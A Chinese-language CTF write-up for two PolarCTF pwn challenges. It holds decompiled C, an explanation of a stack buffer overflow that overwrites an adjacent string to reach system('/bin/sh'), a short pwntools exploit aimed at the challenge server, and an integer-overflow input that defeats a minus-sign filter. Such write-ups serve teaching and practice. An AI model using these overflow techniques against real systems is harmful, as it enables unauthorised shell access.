PolarCTF-Pwn(中等)WP

_ljnljn發表於2024-12-05

1、沒人能拒絕貓貓

ida看主函式

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[32]; // [rsp+0h] [rbp-50h] BYREF
  _QWORD s2[6]; // [rsp+20h] [rbp-30h] BYREF

  s2[5] = __readfsqword(0x28u);
  init();
  puts("                      __     __,");
  ...
  puts("                             `'-'`");
  s2[0] = 'tacetah';
  puts("Do you love cat? (lovecat/hatecat)");
  read(0, buf, 0x28uLL);
  if ( !strcmp("lovecat", (const char *)s2) )
  {
    puts("Nice choice!\n");
    system("/bin/sh");
  }
  else
  {
    puts("Everyone have their own choice.\n");
    puts("My choice is you have no flag^^");
  }
  return 0;
}

發現!strcmp("lovecat", (const char *)s2),只要s2和lovecat一致,就可以讓條件為真,執行system命令
來自豆包:
程式碼中定義的 buf 陣列大小為 32 位元組,然而卻嘗試從標準輸入讀取 40 位元組(0x28 換算為十進位制是 40)的資料,這就導致了緩衝區溢位情況。
緩衝區溢位是指程式執行時,向固定大小的緩衝區寫入超過其容量的資料,多餘的資料會越過緩衝區的邊界覆蓋相鄰記憶體空間,從而造成溢位。
程式碼將單個字元 'tacetah' 賦給 s2[0],不符合正常的字串賦值邏輯(C 語言字串是以 \0 結尾的字元序列),但在比較時卻把 s2 當作字串來和 "lovecat" 比較。這意味著攻擊者可以透過緩衝區溢位,嘗試去修改 s2 陣列對應的記憶體區域,使其內容能匹配 "lovecat",進而使 strcmp 返回 0,滿足條件判斷進入期望的執行分支。
因此可以構造資料來篡改記憶體,使用AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlovecat\0來篡改
由於存在緩衝區溢位,我們需要構造一個長度合適且包含關鍵內容的輸入字串。輸入字串總長度要達到 40 位元組(因為 read 函式會讀取這麼多位元組),前 32 位元組可以隨意填充(通常填充一些無意義字元即可,比如 A 的重複),後面緊跟著要寫入 lovecat\0 (確保以 \0 結尾符合字串格式要求)來覆蓋 s2 陣列對應的記憶體區域,使得 strcmp 函式認為 s2 指向的內容和 "lovecat" 相等。(定義的時候buf陣列和s2陣列是相鄰的)例如,構造的輸入字串可以是:
exp如下:

from pwn import *
p=remote("1.95.36.136",2058)
p.sendline('a'*32+'lovecat\0')
p.interactive()

得到flag
image
擴充:危險函式
C標準庫中和字串操作有關的函式,像strcpy、strcat、sprintf、gets等函式中,陣列和指標都沒有自動進行邊界檢查,因此很容易引發緩衝區溢位漏洞

2、easypwn2

國際慣例看程式碼

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("**********************************");
  ...
  puts("**********************************");
  __isoc99_scanf("%16s", s);
  if ( strchr(s, 45) )
    return 0;
  if ( atoi(s) < 0 )
    vuln();
  return 0;
}

其中vuln()函式可以執行cat flag,因此只要能夠執行vuln函式就可以獲得flag
注意到兩個判斷函式:
第一個:ASCII碼45轉換成字元是-(負號),說明程式試圖過濾掉輸入的負號
第二個:在C語言中,atoi函式會從字串開頭開始解析,遇到非數字字元就停止解析,將前面解析出來的數字部分轉換為對應的整數值。因此可以得出:只要輸入一個負數就可以執行vuln()
既然負號被過濾了,就只能用另一種方法輸入負數
可以想到int上限是2147483647,超過這個數字就會變成負數,因此只需要輸入2147483648就可以獲得flag
image
獲得flag